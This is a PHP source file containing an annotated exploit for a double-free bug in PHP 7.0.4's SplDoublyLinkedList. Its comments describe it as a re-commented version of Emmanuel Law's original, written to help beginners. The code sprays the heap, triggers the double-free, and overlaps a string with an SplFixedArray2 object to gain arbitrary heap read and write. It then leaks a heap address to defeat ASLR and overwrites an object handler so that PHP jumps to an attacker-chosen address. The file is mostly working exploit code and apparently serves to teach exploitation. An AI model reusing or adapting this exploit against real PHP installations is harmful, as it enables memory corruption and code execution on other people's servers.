<?php
/*
 * ---> This exploit was originally written by Emmanuel Law <----
 * 
 * Tested on a docker image of PHP v7.0.4
 * Uname: Linux cb880fa79813 4.19.76-linuxkit #1 SMP Fri Apr 3 15:53:26 UTC 2020 x86_64 GNU/Linux
 * PHP Version: PHP 7.0.4 (cli) (built: Mar 19 2016 00:21:33) ( NTS )
 * --------------
 * In this "version" of the exploit, I took the original code and added helpful comments.
 * I also added the meaning of the offsets & beautified the code because the
 * original exploit had parts that I found difficult to understand as a beginner(mainly offsets & the way he jumped around in memory).
 * 
 * The original exploit(mirror): https://pastebin.com/raw/hLvtZkbt
 * Bug report: https://bugs.php.net/bug.php?id=71735
 * Write-up & Original Exploit: http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist
 * 
 * How to read this thing: Start reading at "====[ START OF MAIN ]====" and from there, follow the comments.
 * 
*/
# ====================== [HELPER FUNCTIONS] ======================
function read_ptr(&$mystring,$index=0) {
return  hexdec(
        dechex(ord($mystring[$index+7])).
        dechex(ord($mystring[$index+6])).
        dechex(ord($mystring[$index+5])).
        dechex(ord($mystring[$index+4])).
        dechex(ord($mystring[$index+3])).
        dechex(ord($mystring[$index+2])).
        dechex(ord($mystring[$index+1])).
        dechex(ord($mystring[$index+0])));
}

function write_ptr(&$mystring,$value,$index=0) {
    $mystring[$index]=chr($value&0xFF);
    $mystring[$index+1]=chr(($value>>8)&0xFF);
    $mystring[$index+2]=chr(($value>>16)&0xFF);
    $mystring[$index+3]=chr(($value>>24)&0xFF);
    $mystring[$index+4]=chr(($value>>32)&0xFF);
    $mystring[$index+5]=chr(($value>>40)&0xFF);
    $mystring[$index+6]=chr(($value>>48)&0xFF);
    $mystring[$index+7]=chr(($value>>56)&0xFF);
}

# ====================== [/HELPER FUNCTIONS] ======================

/*

typedef struct _spl_array_object {
	zval              array;
	uint32_t          ht_iter;
	int               ar_flags;
	unsigned char	  nApplyCount;
	zend_function     *fptr_offset_get;               +--------------------------------------------------
	zend_function     *fptr_offset_set;               | This value shares the same offset of zend_string.len
	zend_function     *fptr_offset_has;               | by default it's 0. If we make it to be a large value,
	zend_function     *fptr_offset_del; // <----------+ we can get arbitrary read/write on the heap.
	zend_function     *fptr_count;                    | To do this we will create child object and create an 
    zend_class_entry* ce_get_iterator;                | offsetUnset method. It will make fptr_offset_del to
	zend_object       std;                            | be a very large value because it's a pointer to an somewhere
} spl_array_object;                                   | in memory
                                                      +--------------------------------------------------
*/ //                                                                   ^      
   //                                                                   |   
class SplFixedArray2 extends SplFixedArray { // creating a child object +
    public function offsetSet($offset, $value) {}
    public function offsetUnset($offset) { // this is where we make spl_array_object.fptr_offset_del to be a large value
        parent::offsetUnset($offset);      
    }
}

function exception_handler($exception) {
    global $z;  /* at this point, the double-free has occured  
                 * and Bin number #12 on the heap points to itself (the 
                 * zend memory manager stores bins in a singly-linked list)
                 * 
                 *  Chunk3 ------+     Chunk2  -----> Chunk1 ----> 0x0
                 *   ^           |
                 *   |           |
                 *   +-----------+
                */

    $s=str_repeat('C',0x48);  // we allocate a string of length 0x48 in order to make it land on the 12th bin
    $t=new SplFixedArray2(5); // 2nd allocation in bin #12 again
    /* Now $s and $t are sharing the same memory address, but PHP treats them differently:
        > $s will be a zend_string 
        > $t will be spl_array_object
    */

    /*
    * We will use $s to read/write in memory. But first, we will have to overcome
    * ASLR and find exactly where we are in memory if we want to start calculating offsets.
    * To do that, we will unset the neighbor objects $z[22] and $z[21]
    * 
    * When freeing a chunk, the Zend Memory Manager will make the first 8 bytes of the chunk
    * To point to the next free chunk. The address will be stored in PHP's heap as a "free slot"

    struct _zend_mm_free_slot {
	    zend_mm_free_slot *next_free_slot;
    };

     * Which means, that the first 8 bytes of $z[21] will contain the address of $z[20]
     * Because this is the next free chunk.
    */

    unset($z[22]);
    unset($z[21]);

    /*
    * Due to this free (above), the first 8 bytes of the 21st SPLFixedArray chunk now points 
    * to the 22nd SPLFixedArray memory chunk. By using $s to read into the first 8 bytes of 
    * the 21st SplFixedArray object, you can figure out the exact memory address of where you are in memory.
    */

    $heap_addr=read_ptr($s,0x58); // Getting the first 8 bytes of $z[21], this will be the address of $z[22]
    print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n";  
    $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300; /* -0x70  = this is the distance between every SPL Object in the $z array / HashTable, we're going 2 elements backwards.
                                                                 * +0x18  = Adjusting the offset 
                                                                 * +0x300 = We jump somewhere far away in memory(6 elements forward in the array. It's six because 0x300/0x70=0x6) 
                                                                 *         to place our malicious handler.
                                                                 *         We don't need to worry about accidently overwiting something that will
                                                                 *         break the program because: earlier, in the beginning of the PHP script, 
                                                                 *         we created continuous memory block using a for() loop and sprayed the heap.
                                                                 *         This allows us to corrupt memory without breaking other things on the way. 
                                                                 */

    print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";
    
    //Set Handlers
    write_ptr($s,$heap_addr_of_fake_handler,0x40); // set fake handler
    write_ptr($s,0x40,0x300); // handler.offset
    write_ptr($s,0x4141414141414141,0x308); // handler.free_obj
    write_ptr($s,0xdeadbeef,0x310); // handler.dtor.obj
    str_repeat('z',5);
    unset($t);  // PHP will try to destroy this object by calling handler.dtor.obj
                // The thing PHP doesn't know is that we modified it to be 0xdeadbeef :)
}


/* ===================================[ START OF MAIN ] =============================== */


set_exception_handler('exception_handler'); 
$var_1=new SplStack();
$z=array();

//Heap management
for ($x=0;$x<100;$x++) {
    $z[$x]=new SplFixedArray(5); // creating a contiguous chunk of memory using a loop
}


unset($z[20]); // we're unsetting this since later in this exploit, $t and $s will occupy the address of $z[20]
$var_1->offsetSet(0,new SplFixedArray); // triggering the double-free
// now, PHP will throw a fatal error and will try to exit. But instead of exiting, we will continue
// to execute more code using the exception_handler() function right before PHP kills itself 

// line 72 in this script will be executed next.
/* =====================================[ END OF MAIN ] =============================== */


?>